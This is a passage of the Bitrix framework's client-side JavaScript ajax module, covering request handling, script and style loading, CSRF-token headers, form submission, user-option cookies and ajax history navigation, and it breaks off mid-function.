		BX.ajax.processRequestData = function(data, config)
		{
			var result, scripts = [], styles = [];
			switch (config.dataType.toUpperCase())
			{
				case 'JSON':

					var context = config.xhr || {};
					BX.addCustomEvent(context, 'onParseJSONFailure', BX.proxy(BX.ajax._onParseJSONFailure, config));
					result = BX.parseJSON(data, context);
					BX.removeCustomEvent(context, 'onParseJSONFailure', BX.proxy(BX.ajax._onParseJSONFailure, config));

					if(!!result && BX.type.isArray(result['bxjs']))
					{
						for(var i = 0; i < result['bxjs'].length; i++)
						{
							if(BX.type.isNotEmptyString(result['bxjs'][i]))
							{
								scripts.push({
									"isInternal": false,
									"JS": result['bxjs'][i],
									"bRunFirst": config.scriptsRunFirst
								});
							}
							else
							{
								scripts.push(result['bxjs'][i])
							}
						}
					}

					if(!!result && BX.type.isArray(result['bxcss']))
					{
						styles = result['bxcss'];
					}

					break;
				case 'SCRIPT':
					scripts.push({"isInternal": true, "JS": data, "bRunFirst": config.scriptsRunFirst});
					result = data;
					break;

				default: // HTML
					var ob = BX.processHTML(data, config.scriptsRunFirst);
					result = ob.HTML; scripts = ob.SCRIPT; styles = ob.STYLE;
					break;
			}

			var bSessionCreated = false;
			if (null == ajax_session)
			{
				ajax_session = parseInt(Math.random() * 1000000);
				bSessionCreated = true;
			}

			if (styles.length > 0)
				BX.loadCSS(styles);

			if (config.emulateOnload)
				BX.ajax.__prepareOnload(scripts);

			var cb = BX.DoNothing;
			if(config.emulateOnload || bSessionCreated)
			{
				cb = BX.defer(function()
				{
					if (config.emulateOnload)
						BX.ajax.__runOnload();
					if (bSessionCreated)
						ajax_session = null;
					BX.onCustomEvent(config.xhr, 'onAjaxSuccessFinish', [config]);
				});
			}

			try
			{
				if (!!config.jsonFailure)
				{
					throw {type: 'json_failure', data: config.jsonResponse, bProactive: config.jsonProactive};
				}

				config.scripts = scripts;

				BX.ajax.processScripts(config.scripts, true);

				if (config.onsuccess)
				{
					config.onsuccess(result);
				}

				BX.onCustomEvent(config.xhr, 'onAjaxSuccess', [result, config]);

				BX.ajax.processScripts(config.scripts, false, cb);
			}
			catch (e)
			{
				if (config.onfailure)
					config.onfailure("processing", e);
				BX.onCustomEvent(config.xhr, 'onAjaxFailure', ['processing', e, config]);
			}
		};

		BX.ajax.processScripts = function(scripts, bRunFirst, cb)
		{
			var scriptsExt = [], scriptsInt = '';

			cb = cb || BX.DoNothing;

			for (var i = 0, length = scripts.length; i < length; i++)
			{
				if (typeof bRunFirst != 'undefined' && bRunFirst != !!scripts[i].bRunFirst)
					continue;

				if (scripts[i].isInternal)
					scriptsInt += ';' + scripts[i].JS;
				else
					scriptsExt.push(scripts[i].JS);
			}

			scriptsExt = BX.util.array_unique(scriptsExt);
			var inlineScripts = scriptsInt.length > 0 ? function() { BX.evalGlobal(scriptsInt); } : BX.DoNothing;

			if (scriptsExt.length > 0)
			{
				BX.load(scriptsExt, function() {
					inlineScripts();
					cb();
				});
			}
			else
			{
				inlineScripts();
				cb();
			}
		};

// TODO: extend this function to use with any data objects or forms
		BX.ajax.prepareData = function(arData, prefix)
		{
			var data = '';
			if (BX.type.isString(arData))
				data = arData;
			else if (null != arData)
			{
				for(var i in arData)
				{
					if (arData.hasOwnProperty(i))
					{
						if (data.length > 0)
							data += '&';
						var name = BX.util.urlencode(i);
						if(prefix)
							name = prefix + '[' + name + ']';
						if(typeof arData[i] == 'object')
							data += BX.ajax.prepareData(arData[i], name);
						else
							data += name + '=' + BX.util.urlencode(arData[i]);
					}
				}
			}
			return data;
		};

		BX.ajax.xhrSuccess = function(xhr)
		{
			return (xhr.status >= 200 && xhr.status < 300) || xhr.status === 304 || xhr.status === 1223 || xhr.status === 0;
		};

		BX.ajax.Setup = function(config, bTemp)
		{
			bTemp = !!bTemp;

			for (var i in config)
			{
				if (bTemp)
					tempDefaultConfig[i] = config[i];
				else
					defaultConfig[i] = config[i];
			}
		};

		BX.ajax.replaceLocalStorageValue = function(lsId, data, ttl)
		{
			if (!!BX.localStorage)
				BX.localStorage.set('ajax-' + lsId, data, ttl);
		};


		BX.ajax._uncache = function(url)
		{
			return url + ((url.indexOf('?') !== -1 ? "&" : "?") + '_=' + (new Date()).getTime());
		};

		/* simple interface */
		BX.ajax.get = function(url, data, callback)
		{
			if (BX.type.isFunction(data))
			{
				callback = data;
				data = '';
			}

			data = BX.ajax.prepareData(data);

			if (data)
			{
				url += (url.indexOf('?') !== -1 ? "&" : "?") + data;
				data = '';
			}

			return BX.ajax({
				'method': 'GET',
				'dataType': 'html',
				'url': url,
				'data':  '',
				'onsuccess': callback
			});
		};

		BX.ajax.getCaptcha = function(callback)
		{
			return BX.ajax.loadJSON('/bitrix/tools/ajax_captcha.php', callback);
		};

		BX.ajax.insertToNode = function(url, node)
		{
			node = BX(node);
			if (!!node)
			{
				var eventArgs = { cancel: false };
				BX.onCustomEvent('onAjaxInsertToNode', [{ url: url, node: node, eventArgs: eventArgs }]);
				if(eventArgs.cancel === true)
				{
					return;
				}

				var show = null;
				if (!tempDefaultConfig.denyShowWait)
				{
					show = BX.showWait(node);
					delete tempDefaultConfig.denyShowWait;
				}

				return BX.ajax.get(url, function(data) {
					node.innerHTML = data;
					BX.closeWait(node, show);
				});
			}
		};

		BX.ajax.post = function(url, data, callback)
		{
			data = BX.ajax.prepareData(data);

			return BX.ajax({
				'method': 'POST',
				'dataType': 'html',
				'url': url,
				'data':  data,
				'onsuccess': callback
			});
		};

		/**
		 * BX.ajax with BX.Promise
		 *
		 * @param config
		 * @returns {BX.Promise|false}
		 */
		BX.ajax.promise = function(config)
		{
			var result = new BX.Promise();

			config.onsuccess = function(data)
			{
				result.fulfill(data);
			};
			config.onfailure = function(reason, httpStatus, config)
			{
				result.reject({
					reason: reason,
					data: httpStatus,
					ajaxConfig: config,
					xhr: config.xhr
				});
			};

			var xhr = BX.ajax(config);
			if (xhr)
			{
				if (typeof config.onrequeststart === 'function')
				{
					config.onrequeststart(xhr);
				}
			}
			else
			{
				result.reject({
					reason: "init",
					data: false
				});
			}

			return result;
		};

		/* load and execute external file script with onload emulation */
		BX.ajax.loadScriptAjax = function(script_src, callback, bPreload)
		{
			if (BX.type.isArray(script_src))
			{
				for (var i=0,len=script_src.length;i<len;i++)
				{
					BX.ajax.loadScriptAjax(script_src[i], callback, bPreload);
				}
			}
			else
			{
				var script_src_test = script_src.replace(/\.js\?.*/, '.js');

				if (r.script_self.test(script_src_test)) return;
				if (r.script_self_window.test(script_src_test) && BX.CWindow) return;
				if (r.script_self_admin.test(script_src_test) && BX.admin) return;

				if (typeof loadedScripts[script_src_test] == 'undefined')
				{
					if (!!bPreload)
					{
						loadedScripts[script_src_test] = '';
						return BX.loadScript(script_src);
					}
					else
					{
						return BX.ajax({
							url: script_src,
							method: 'GET',
							dataType: 'script',
							processData: true,
							emulateOnload: false,
							scriptsRunFirst: true,
							async: false,
							start: true,
							onsuccess: function(result) {
								loadedScripts[script_src_test] = result;
								if (callback)
									callback(result);
							}
						});
					}
				}
				else if (callback)
				{
					callback(loadedScripts[script_src_test]);
				}
			}
		};

		/* non-xhr loadings */
		BX.ajax.loadJSON = function(url, data, callback, callback_failure)
		{
			if (BX.type.isFunction(data))
			{
				callback_failure = callback;
				callback = data;
				data = '';
			}

			data = BX.ajax.prepareData(data);

			if (data)
			{
				url += (url.indexOf('?') !== -1 ? "&" : "?") + data;
				data = '';
			}

			return BX.ajax({
				'method': 'GET',
				'dataType': 'json',
				'url': url,
				'onsuccess': callback,
				'onfailure': callback_failure
			});
		};

		var getLastContentTypeHeader = function (headers) {
			if (!BX.Type.isArray(headers))
			{
				return null;
			}
			var lastHeader = headers
				.filter(function (header) {
					return header.name === 'Content-Type';
				})
				.pop();

			return lastHeader ? lastHeader.value : null;
		};

		var prepareAjaxGetParameters = function(config)
		{
			var getParameters = config.getParameters || {};
			if (BX.type.isNotEmptyString(config.analyticsLabel))
			{
				getParameters.analyticsLabel = config.analyticsLabel;
			}
			else if (BX.type.isNotEmptyObject(config.analyticsLabel))
			{
				getParameters.analyticsLabel = config.analyticsLabel;
			}
			if (typeof config.mode !== 'undefined')
			{
				getParameters.mode = config.mode;
			}
			if (config.navigation)
			{
				if(config.navigation.page)
				{
					getParameters.nav = 'page-' + config.navigation.page;
				}
				if(config.navigation.size)
				{
					if(getParameters.nav)
					{
						getParameters.nav += '-';
					}
					else
					{
						getParameters.nav = '';
					}
					getParameters.nav += 'size-' + config.navigation.size;
				}
			}

			return getParameters;
		};

		var prepareAjaxConfig = function(config)
		{
			config = BX.type.isPlainObject(config) ? config : {};

			config.headers = config.headers || [];
			config.headers.push({name: 'X-Bitrix-Csrf-Token', value: BX.bitrix_sessid()});
			if (BX.message.SITE_ID)
			{
				config.headers.push({name: 'X-Bitrix-Site-Id', value: BX.message.SITE_ID});
			}

			if (typeof config.json !== 'undefined')
			{
				if (!BX.type.isPlainObject(config.json))
				{
					throw new Error('Wrong `config.json`, plain object expected.')
				}

				config.headers.push({name: 'Content-Type', value: 'application/json'});
				config.data = config.json;
				config.preparePost = false;
			}
			else if (config.data instanceof FormData)
			{
				config.preparePost = false;
				if (typeof config.signedParameters !== 'undefined')
				{
					config.data.append('signedParameters', config.signedParameters);
				}
			}
			else if (BX.type.isPlainObject(config.data) || BX.Type.isNil(config.data))
			{
				config.data = BX.type.isPlainObject(config.data) ? config.data : {};
				if (typeof config.signedParameters !== 'undefined')
				{
					config.data.signedParameters = config.signedParameters;
				}
			}

			if (!config.method)
			{
				config.method = 'POST'
			}

			return config;
		};

		var buildAjaxPromiseToRestoreCsrf = function(config, withoutRestoringCsrf)
		{
			withoutRestoringCsrf = withoutRestoringCsrf || false;
			var originalConfig = BX.clone(config);
			var request = null;

			var onrequeststart = config.onrequeststart;
			config.onrequeststart = function(xhr) {
				request = xhr;
				if (BX.type.isFunction(onrequeststart))
				{
					onrequeststart(xhr);
				}
			};
			var onrequeststartOrig = originalConfig.onrequeststart;
			originalConfig.onrequeststart = function(xhr) {
				request = xhr;
				if (BX.type.isFunction(onrequeststartOrig))
				{
					onrequeststartOrig(xhr);
				}
			};

			var promise = BX.ajax.promise(config);

			return promise.then(function(response) {
				if (!withoutRestoringCsrf && BX.type.isPlainObject(response) && BX.type.isArray(response.errors))
				{
					var csrfProblem = false;
					response.errors.forEach(function(error) {
						if (error.code === 'invalid_csrf' && error.customData.csrf)
						{
							BX.message({'bitrix_sessid': error.customData.csrf});

							originalConfig.headers = originalConfig.headers || [];
							originalConfig.headers = originalConfig.headers.filter(function(header) {
								return header && header.name !== 'X-Bitrix-Csrf-Token';
							});
							originalConfig.headers.push({name: 'X-Bitrix-Csrf-Token', value: BX.bitrix_sessid()});

							csrfProblem = true;
						}
					});

					if (csrfProblem)
					{
						return buildAjaxPromiseToRestoreCsrf(originalConfig, true);
					}
				}

				if (!BX.type.isPlainObject(response) || response.status !== 'success')
				{
					var errorPromise = new BX.Promise();
					errorPromise.reject(response);

					return errorPromise;
				}

				return response;
			}).catch(function(data) {
				var ajaxReject = new BX.Promise();

				var originalJsonResponse;
				if (BX.type.isPlainObject(data) && data.xhr && data.xhr.responseText)
				{
					try
					{
						originalJsonResponse = JSON.parse(data.xhr.responseText);
						data = originalJsonResponse;
					}
					catch (err)
					{}
				}

				if (BX.type.isPlainObject(data) && data.status && data.hasOwnProperty('data'))
				{
					ajaxReject.reject(data);
				}
				else
				{
					ajaxReject.reject({
						status: 'error',
						data: {
							ajaxRejectData: data
						},
						errors: [
							{
								code: 'NETWORK_ERROR',
								message: 'Network error'
							}
						]
					});
				}

				return ajaxReject;
			}).then(function(response){

				var assetsLoaded = new BX.Promise();

				var headers = request.getAllResponseHeaders().trim().split(/[\r\n]+/);
				var headerMap = {};
				headers.forEach(function (line) {
					var parts = line.split(': ');
					var header = parts.shift().toLowerCase();
					headerMap[header] = parts.join(': ');
				});

				if (!headerMap['x-process-assets'])
				{
					assetsLoaded.fulfill(response);

					return assetsLoaded;
				}

				var assets = BX.prop.getObject(BX.prop.getObject(response, "data", {}), "assets", {});
				var promise = new Promise(function(resolve, reject) {
					var css = BX.prop.getArray(assets, "css", []);
					BX.load(css, function(){
						BX.loadScript(
							BX.prop.getArray(assets, "js", []),
							resolve
						);
					});
				});
				promise.then(function(){
					var strings = BX.prop.getArray(assets, "string", []);
					var stringAsset = strings.join('\n');
					BX.html(document.head, stringAsset, { useAdjacentHTML: true }).then(function(){
						assetsLoaded.fulfill(response);
					});
				});

				return assetsLoaded;
			});
		};

		/**
		 *
		 * @param {string} action
		 * @param {Object} config
		 * @param {?string|?Object} [config.analyticsLabel]
		 * @param {string} [config.method='POST']
		 * @param {Object} [config.data]
		 * @param {?Object} [config.getParameters]
		 * @param {?Object} [config.headers]
		 * @param {?Object} [config.timeout]
		 * @param {Object} [config.navigation]
		 * @param {number} [config.navigation.page]
		 */
		BX.ajax.runAction = function(action, config)
		{
			config = prepareAjaxConfig(config);
			var getParameters = prepareAjaxGetParameters(config);
			getParameters.action = action;

			var url = '/bitrix/services/main/ajax.php?' + BX.ajax.prepareData(getParameters);
			return buildAjaxPromiseToRestoreCsrf({
				method: config.method,
				dataType: 'json',
				url: url,
				data: config.data,
				timeout: config.timeout,
				preparePost: config.preparePost,
				headers: config.headers,
				onrequeststart: config.onrequeststart,
				onprogress: config.onprogress,
				onprogressupload: config.onprogressupload
			});
		};

		/**
		 *
		 * @param {string} component
		 * @param {string} action
		 * @param {Object} config
		 * @param {?string|?Object} [config.analyticsLabel]
		 * @param {?string} [config.signedParameters]
		 * @param {string} [config.method='POST']
		 * @param {string} [config.mode='ajax'] Ajax or class.
		 * @param {Object} [config.data]
		 * @param {?Object} [config.getParameters]
		 * @param {?array} [config.headers]
		 * @param {?number} [config.timeout]
		 * @param {Object} [config.navigation]
		 */
		BX.ajax.runComponentAction = function (component, action, config)
		{
			config = prepareAjaxConfig(config);
			config.mode = config.mode || 'ajax';

			var getParameters = prepareAjaxGetParameters(config);
			getParameters.c = component;
			getParameters.action = action;

			var url = '/bitrix/services/main/ajax.php?' + BX.ajax.prepareData(getParameters);

			return buildAjaxPromiseToRestoreCsrf({
				method: config.method,
				dataType: 'json',
				url: url,
				data: config.data,
				timeout: config.timeout,
				preparePost: config.preparePost,
				headers: config.headers,
				onrequeststart: (config.onrequeststart ? config.onrequeststart : null),
				onprogress: config.onprogress,
				onprogressupload: config.onprogressupload
			});
		};

		/*
arObs = [{
	url: url,
	type: html|script|json|css,
	callback: function
}]
*/
		BX.ajax.load = function(arObs, callback)
		{
			if (!BX.type.isArray(arObs))
				arObs = [arObs];

			var cnt = 0;

			if (!BX.type.isFunction(callback))
				callback = BX.DoNothing;

			var handler = function(data)
			{
				if (BX.type.isFunction(this.callback))
					this.callback(data);

				if (++cnt >= len)
					callback();
			};

			for (var i = 0, len = arObs.length; i<len; i++)
			{
				switch(arObs[i].type.toUpperCase())
				{
					case 'SCRIPT':
						BX.loadScript([arObs[i].url], BX.proxy(handler, arObs[i]));
						break;
					case 'CSS':
						BX.loadCSS([arObs[i].url]);

						if (++cnt >= len)
							callback();
						break;
					case 'JSON':
						BX.ajax.loadJSON(arObs[i].url, BX.proxy(handler, arObs[i]));
						break;

					default:
						BX.ajax.get(arObs[i].url, '', BX.proxy(handler, arObs[i]));
						break;
				}
			}
		};

		/* ajax form sending */
		BX.ajax.submit = function(obForm, callback)
		{
			if (!obForm.target)
			{
				if (null == obForm.BXFormTarget)
				{
					var frame_name = 'formTarget_' + Math.random();
					obForm.BXFormTarget = document.body.appendChild(BX.create('IFRAME', {
						props: {
							name: frame_name,
							id: frame_name,
							src: 'javascript:void(0)'
						},
						style: {
							display: 'none'
						}
					}));
				}

				obForm.target = obForm.BXFormTarget.name;
			}

			obForm.BXFormCallback = callback;
			BX.bind(obForm.BXFormTarget, 'load', BX.proxy(BX.ajax._submit_callback, obForm));

			BX.submit(obForm);

			return false;
		};

		BX.ajax.submitComponentForm = function(obForm, container, bWait)
		{
			if (!obForm.target)
			{
				if (null == obForm.BXFormTarget)
				{
					var frame_name = 'formTarget_' + Math.random();
					obForm.BXFormTarget = document.body.appendChild(BX.create('IFRAME', {
						props: {
							name: frame_name,
							id: frame_name,
							src: 'javascript:void(0)'
						},
						style: {
							display: 'none'
						}
					}));
				}

				obForm.target = obForm.BXFormTarget.name;
			}

			if (!!bWait)
				var w = BX.showWait(container);

			obForm.BXFormCallback = function(d) {
				if (!!bWait)
					BX.closeWait(w);

				var callOnload = function(){
					if(!!window.bxcompajaxframeonload)
					{
						setTimeout(function(){window.bxcompajaxframeonload();window.bxcompajaxframeonload=null;}, 10);
					}
				};

				BX(container).innerHTML = d;
				BX.onCustomEvent('onAjaxSuccess', [null,null,callOnload]);
			};

			BX.bind(obForm.BXFormTarget, 'load', BX.proxy(BX.ajax._submit_callback, obForm));

			return true;
		};

// func will be executed in form context
		BX.ajax._submit_callback = function()
		{
			//opera and IE8 triggers onload event even on empty iframe
			try
			{
				if(this.BXFormTarget.contentWindow.location.href.indexOf('http') != 0)
					return;
			} catch (e) {
				return;
			}

			if (this.BXFormCallback)
				this.BXFormCallback.apply(this, [this.BXFormTarget.contentWindow.document.body.innerHTML]);

			BX.unbindAll(this.BXFormTarget);
		};

		BX.ajax.prepareForm = function(obForm, data)
		{
			data = (!!data ? data : {});
			var i, ii, el,
				_data = [],
				n = obForm.elements.length,
				files = 0, length = 0;
			if(!!obForm)
			{
				for (i = 0; i < n; i++)
				{
					el = obForm.elements[i];
					if (el.disabled)
						continue;

					if(!el.type)
						continue;

					switch(el.type.toLowerCase())
					{
						case 'text':
						case 'textarea':
						case 'password':
						case 'number':
						case 'hidden':
						case 'select-one':
							_data.push({name: el.name, value: el.value});
							length += (el.name.length + el.value.length);
							break;
						case 'file':
							if (!!el.files)
							{
								for (ii = 0; ii < el.files.length; ii++)
								{
									files++;
									_data.push({name: el.name, value: el.files[ii], file : true});
									length += el.files[ii].size;
								}
							}
							break;
						case 'radio':
						case 'checkbox':
							if(el.checked)
							{
								_data.push({name: el.name, value: el.value});
								length += (el.name.length + el.value.length);
							}
							break;
						case 'select-multiple':
							for (var j = 0; j < el.options.length; j++)
							{
								if (el.options[j].selected)
								{
									_data.push({name : el.name, value : el.options[j].value});
									length += (el.name.length + el.options[j].length);
								}
							}
							break;
						default:
							break;
					}
				}

				i = 0; length = 0;
				var current = data, name, rest, pp, tmpKey;

				while(i < _data.length)
				{
					var p = _data[i].name.indexOf('[');
					if (tmpKey)
					{
						current[_data[i].name] = {};
						current[_data[i].name][tmpKey.replace(/\[|\]/gi, '')] = _data[i].value;
						current = data;
						tmpKey = null;
						i++;
					}
					else if (p == -1)
					{
						current[_data[i].name] = _data[i].value;
						current = data;
						i++;
					}
					else
					{
						name = _data[i].name.substring(0, p);
						rest = _data[i].name.substring(p+1);
						pp = rest.indexOf(']');

						if(pp == -1)
						{
							if (!current[name])
								current[name] = [];
							current = data;
							i++;
						}
						else if(pp == 0)
						{
							if (!current[name])
								current[name] = [];
							//No index specified - so take the next integer
							current = current[name];
							_data[i].name = '' + current.length;
							if (rest.substring(pp+1).indexOf('[') === 0)
								tmpKey = rest.substring(0, pp) + rest.substring(pp+1);
						}
						else
						{
							if (!current[name])
								current[name] = {};
							//Now index name becomes and name and we go deeper into the array
							current = current[name];
							_data[i].name = rest.substring(0, pp) + rest.substring(pp+1);
						}
					}
				}
			}
			return {data : data, filesCount : files, roughSize : length};
		};
		BX.ajax.submitAjax = function(obForm, config)
		{
			config = (config !== null && typeof config == "object" ? config : {});
			config.url = (config["url"] || obForm.getAttribute("action"));

			var additionalData = (config["data"] || {});
			config.data = BX.ajax.prepareForm(obForm).data;
			for (var ii in additionalData)
			{
				if (additionalData.hasOwnProperty(ii))
				{
					config.data[ii] = additionalData[ii];
				}
			}

			if (!window["FormData"])
			{
				BX.ajax(config);
			}
			else
			{
				var isFile = function(item)
					{
						var res = Object.prototype.toString.call(item);
						return (res == '[object File]' || res == '[object Blob]');
					},
					appendToForm = function(fd, key, val)
					{
						if (!!val && typeof val == "object" && !isFile(val))
						{
							for (var ii in val)
							{
								if (val.hasOwnProperty(ii))
								{
									appendToForm(fd, (key == '' ? ii : key + '[' + ii + ']'), val[ii]);
								}
							}
						}
						else
							fd.append(key, (!!val ? val : ''));
					},
					prepareData = function(arData)
					{
						var data = {};
						if (null != arData)
						{
							if(typeof arData == 'object')
							{
								for(var i in arData)
								{
									if (arData.hasOwnProperty(i))
									{
										var name = BX.util.urlencode(i);
										if(typeof arData[i] == 'object' && arData[i]["file"] !== true)
											data[name] = prepareData(arData[i]);
										else if (arData[i]["file"] === true)
											data[name] = arData[i]["value"];
										else
											data[name] = BX.util.urlencode(arData[i]);
									}
								}
							}
							else
								data = BX.util.urlencode(arData);
						}
						return data;
					},
					fd = new window.FormData();

				if (config.method !== 'POST')
				{
					config.data = BX.ajax.prepareData(config.data);
					if (config.data)
					{
						config.url += (config.url.indexOf('?') !== -1 ? "&" : "?") + config.data;
						config.data = '';
					}
				}
				else
				{
					if (config.preparePost === true)
						config.data = prepareData(config.data);
					appendToForm(fd, '', config.data);
					config.data = fd;
				}

				config.preparePost = false;
				config.start = false;

				var xhr = BX.ajax(config);
				if (!!config["onprogress"])
					xhr.upload.addEventListener(
						'progress',
						function(e){
							var percent = null;
							if(e.lengthComputable && (e.total || e["totalSize"])) {
								percent = e.loaded * 100 / (e.total || e["totalSize"]);
							}
							config["onprogress"](e, percent);
						}
					);
				xhr.send(fd);
			}
		};

		BX.ajax.UpdatePageData = function (arData)
		{
			if (arData.TITLE)
				BX.ajax.UpdatePageTitle(arData.TITLE);
			if (arData.WINDOW_TITLE || arData.TITLE)
				BX.ajax.UpdateWindowTitle(arData.WINDOW_TITLE || arData.TITLE);
			if (arData.NAV_CHAIN)
				BX.ajax.UpdatePageNavChain(arData.NAV_CHAIN);
			if (arData.CSS && arData.CSS.length > 0)
				BX.loadCSS(arData.CSS);
			if (arData.SCRIPTS && arData.SCRIPTS.length > 0)
			{
				var f = function(result,config,cb){

					if(!!config && BX.type.isArray(config.scripts))
					{
						for(var i=0,l=arData.SCRIPTS.length;i<l;i++)
						{
							config.scripts.push({isInternal:false,JS:arData.SCRIPTS[i]});
						}
					}
					else
					{
						BX.loadScript(arData.SCRIPTS,cb);
					}

					BX.removeCustomEvent('onAjaxSuccess',f);
				};
				BX.addCustomEvent('onAjaxSuccess',f);
			}
			else
			{
				var f1 = function(result,config,cb){
					if(BX.type.isFunction(cb))
					{
						cb();
					}
					BX.removeCustomEvent('onAjaxSuccess',f1);
				};
				BX.addCustomEvent('onAjaxSuccess', f1);
			}
		};

		BX.ajax.UpdatePageTitle = function(title)
		{
			var obTitle = BX('pagetitle');
			if (obTitle)
			{
				BX.remove(obTitle.firstChild);
				if (!obTitle.firstChild)
					obTitle.appendChild(document.createTextNode(title));
				else
					obTitle.insertBefore(document.createTextNode(title), obTitle.firstChild);
			}
		};

		BX.ajax.UpdateWindowTitle = function(title)
		{
			document.title = title;
		};

		BX.ajax.UpdatePageNavChain = function(nav_chain)
		{
			var obNavChain = BX('navigation');
			if (obNavChain)
			{
				obNavChain.innerHTML = nav_chain;
			}
		};

		/* user options handling */
		BX.userOptions = {
			options: null,
			bSend: false,
			delay: 5000,
			path: '/bitrix/admin/user_options.php?'
		};

		BX.userOptions.setAjaxPath = function(url)
		{
			BX.userOptions.path = url.indexOf('?') == -1? url+'?': url+'&';
		}
		BX.userOptions.save = function(sCategory, sName, sValName, sVal, bCommon)
		{
			if (null == BX.userOptions.options)
				BX.userOptions.options = {};

			bCommon = !!bCommon;
			BX.userOptions.options[sCategory+'.'+sName+'.'+sValName] = [sCategory, sName, sValName, sVal, bCommon];

			var sParam = BX.userOptions.__get();
			if (sParam != '')
				document.cookie = BX.message('COOKIE_PREFIX')+"_LAST_SETTINGS=" + encodeURIComponent(sParam) + "&sessid="+BX.bitrix_sessid()+"; expires=Thu, 31 Dec " + ((new Date()).getFullYear() + 1) + " 23:59:59 GMT; path=/;";

			if(!BX.userOptions.bSend)
			{
				BX.userOptions.bSend = true;
				setTimeout(function(){BX.userOptions.send(null)}, BX.userOptions.delay);
			}
		};

		BX.userOptions.send = function(callback)
		{
			var sParam = BX.userOptions.__get();
			BX.userOptions.options = null;
			BX.userOptions.bSend = false;

			if (sParam != '')
			{
				document.cookie = BX.message('COOKIE_PREFIX') + "_LAST_SETTINGS=; path=/;";
				BX.ajax({
					'method': 'GET',
					'dataType': 'html',
					'processData': false,
					'cache': false,
					'url': BX.userOptions.path+sParam+'&sessid='+BX.bitrix_sessid(),
					'onsuccess': callback
				});
			}
		};

		BX.userOptions.del = function(sCategory, sName, bCommon, callback)
		{
			BX.ajax.get(BX.userOptions.path+'action=delete&c='+sCategory+'&n='+sName+(bCommon == true? '&common=Y':'')+'&sessid='+BX.bitrix_sessid(), callback);
		};

		BX.userOptions.__get = function()
		{
			if (!BX.userOptions.options) return '';

			var sParam = '', n = -1, prevParam = '', aOpt, i;

			for (i in BX.userOptions.options)
			{
				if(BX.userOptions.options.hasOwnProperty(i))
				{
					aOpt = BX.userOptions.options[i];

					if (prevParam != aOpt[0]+'.'+aOpt[1])
					{
						n++;
						sParam += '&p['+n+'][c]='+BX.util.urlencode(aOpt[0]);
						sParam += '&p['+n+'][n]='+BX.util.urlencode(aOpt[1]);
						if (aOpt[4] == true)
							sParam += '&p['+n+'][d]=Y';
						prevParam = aOpt[0]+'.'+aOpt[1];
					}

					var valueName = aOpt[2];
					var value = aOpt[3];

					if (valueName === null)
					{
						sParam += '&p['+n+'][v]='+BX.util.urlencode(value);
					}
					else
					{
						sParam += '&p['+n+'][v]['+BX.util.urlencode(valueName)+']='+BX.util.urlencode(value);
					}
				}
			}

			return sParam.substr(1);
		};

		BX.ajax.history = {
			expected_hash: '',

			obParams: null,

			obFrame: null,
			obImage: null,

			obTimer: null,

			bInited: false,
			bHashCollision: false,
			bPushState: !!(history.pushState && BX.type.isFunction(history.pushState)),

			startState: null,

			init: function(obParams)
			{
				if (BX.ajax.history.bInited)
					return;

				this.obParams = obParams;
				var obCurrentState = this.obParams.getState();

				if (BX.ajax.history.bPushState)
				{
					BX.ajax.history.expected_hash = window.location.pathname;
					if (window.location.search)
						BX.ajax.history.expected_hash += window.location.search;

					BX.ajax.history.put(obCurrentState, BX.ajax.history.expected_hash, '', true);
					// due to some strange thing, chrome calls popstate event on page start. so we should delay it
					setTimeout(function(){BX.bind(window, 'popstate', BX.ajax.history.__hashListener);}, 500);
				}
				else
				{
					BX.ajax.history.expected_hash = window.location.hash;

					if (!BX.ajax.history.expected_hash || BX.ajax.history.expected_hash == '#')
						BX.ajax.history.expected_hash = '__bx_no_hash__';

					jsAjaxHistoryContainer.put(BX.ajax.history.expected_hash, obCurrentState);
					BX.ajax.history.obTimer = setTimeout(BX.ajax.history.__hashListener, 500);

					if (BX.browser.IsIE())
					{
						BX.ajax.history.obFrame = document.createElement('IFRAME');
						BX.hide_object(BX.ajax.history.obFrame);

						document.body.appendChild(BX.ajax.history.obFrame);

						BX.ajax.history.obFrame.contentWindow.document.open();
						BX.ajax.history.obFrame.contentWindow.document.write(BX.ajax.history.expected_hash);
						BX.ajax.history.obFrame.contentWindow.document.close();
					}
					else if (BX.browser.IsOpera())
					{
						BX.ajax.history.obImage = document.createElement('IMG');
						BX.hide_object(BX.ajax.history.obImage);

						document.body.appendChild(BX.ajax.history.obImage);

						BX.ajax.history.obImage.setAttribute('src', 'javascript:location.href = \'javascript:BX.ajax.history.__hashListener();\';');
					}
				}

				BX.ajax.history.bInited = true;
			},

			__hashListener: function(e)
			{
				e = e || window.event || {state:false};

				if (BX.ajax.history.bPushState)
				{
					BX.ajax.history.obParams.setState(e.state||BX.ajax.history.startState);
				}
				else
				{
					if (BX.ajax.history.obTimer)
					{
						window.clearTimeout(BX.ajax.history.obTimer);
						BX.ajax.history.obTimer = null;
					}

					var current_hash;
					if (null != BX.ajax.history.obFrame)
						current_hash = BX.ajax.history.obFrame.contentWindow.document.body.innerText;
					else
						current_hash = window.location.hash;

					if (!current_hash || current_hash == '#')
						current_hash = '__bx_no_hash__';

					if (current_hash.indexOf('#') == 0)
						current_hash = current_hash.substring(1);

					if (current_hash != BX.ajax.history.expected_hash)
					{
						var state = jsAjaxHistoryContainer.get(current_hash);
						if (state)
						{
							BX.ajax.history.obParams.setState(state);

							BX.ajax.history.expected_hash = current_hash;
							if (null != BX.ajax.history.obFrame)
							{
								var __hash = current_hash == '__bx_no_hash__' ? '' : current_hash;
								if (window.location.hash != __hash && window.location.hash != '#' + __hash)
									window.location.hash = __hash;
							}
						}
					}

					BX.ajax.history.obTimer = setTimeout(BX.ajax.history.__hashListener, 500);
				}
			},

			put: function(state, new_hash, new_hash1, bStartState)
			{
				if (this.bPushState)
				{
					if(!bStartState)
					{
						history.pushState(state, '', new_hash);
					}
					else
					{
						BX.ajax.history.startState = state;
					}
				}
				else
				{
					if (typeof new_hash1 != 'undefined')
						new_hash = new_hash1;
					else
						new_hash = 'view' + new_hash;

					jsAjaxHistoryContainer.put(new_hash, state);
					BX.ajax.history.expected_hash = new_hash;

					window.location.hash = BX.util.urlencode(new_hash);

					if (null != BX.ajax.history.obFrame)
					{
						BX.ajax.history.obFrame.contentWindow.document.open();
						BX.ajax.history.obFrame.contentWindow.document.write(new_hash);
						BX.ajax.history.obFrame.contentWindow.document.close();
					}
				}
			},

			checkRedirectStart: function(param_name, param_value)
			{
				var current_hash = window.location.hash;
				if (current_hash.substring(0, 1) == '#') current_hash = current_hash.substring(1);

				var test = current_hash.substring(0, 5);
				if (test == 'view/' || test == 'view%')
				{
					BX.ajax.history.bHashCollision = true;
					document.write('<' + 'div id="__ajax_hash_collision_' + param_value + '" style="display: none;">');
